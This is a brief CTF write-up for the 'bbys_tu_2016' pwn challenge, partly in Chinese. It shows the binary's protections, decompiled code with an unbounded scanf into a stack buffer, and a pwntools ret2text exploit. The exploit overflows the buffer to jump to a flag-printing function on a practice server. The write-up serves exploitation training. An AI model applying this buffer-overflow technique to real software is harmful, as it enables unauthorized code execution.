HugeH4rD

bbys_tu_2016

Ubuntu 16

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0x01

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checksec

[*] '/home/zelas/Desktop/pwn/bbys_tu_2016/bbys_tu_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found		
    NX:       NX enabled			//
    PIE:      No PIE (0x8048000)

IDA

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+14h] [ebp-Ch] BYREF

  puts("This program is hungry. You should feed it.");
  __isoc99_scanf("%s", &v4);
  puts("Do you feel the flow?");
  return 0;
}

可疑函数printFlag()

int printFlag()
{
  char s[50]; // [esp+1Ah] [ebp-3Eh] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  fgets(s, 50, stream);
  puts(s);
  fflush(stdout);
  return fclose(stream);
}

0x02

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思路 retext

0x03

---

exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')
io = remote('node4.buuoj.cn', 29910)
path = './bbys_tu_2016'
# io = process([path])
# elf = ELF(path)
# libc = ELF('./libc-2.23.so')

get_flag = 0x804856D
padding = 0x14 + 0x4
payload = flat(b'a'*padding, get_flag)
io.sendline(payload)

io.interactive()